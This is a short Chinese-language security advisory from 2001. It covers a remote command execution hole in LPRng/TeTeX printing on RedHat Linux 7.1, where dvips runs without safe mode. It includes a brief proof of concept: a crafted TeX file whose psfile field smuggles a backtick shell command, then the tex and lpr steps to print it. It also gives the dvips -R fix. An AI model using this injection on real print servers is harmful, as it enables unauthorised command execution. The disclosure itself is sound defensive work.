lpd可通过DVI printfilter配置错误远程执行命令发布时间:2001-08-30 更新时间:2001-08-30 严重程度:高 威胁程度:远程管理员权限 错误类型:输入验证错误 利用方式:服务器模式 受影响系统 RedHat Linux 7.1详细描述 'dvips'是转化DVI文档为PostScript的工具,是TeteX文本格式化包的一个 选项,当系统安装了LPRnG和TeTeX并使用后,'dvips'在当DVI被打印时调用 'lpd'。 一些系统中'dvips'调用时,不使用'-R'的安全模式,这样当远程用户对'lpd' 提交.dvi打印时,Lprng会将请求提送给dvi-to-ps.fpi进行转换,恶意用户可以 构造特殊.dvi文件,在Psfile中包含shell元字符命令,就可以以Lp用户的身份 执行命令。 测试代码 cat >exploit.tex <<EOF \special{psfile="`command to be executed`"} \end EOF tex exploit.tex lpr exploit.dvi 解决方案 临时解决方法: 编辑文件: /usr/lib/rhs/rhs-printfilters/dvi-to-ps.fpi 找到下列语句: dvips -f $DVIPS_OPTIONS < $TMP_FILE 修改成: dvips -R -f $DVIPS_OPTIONS < $TMP_FILE 相关信息 zen-parse (zen-parse@gmx.net) |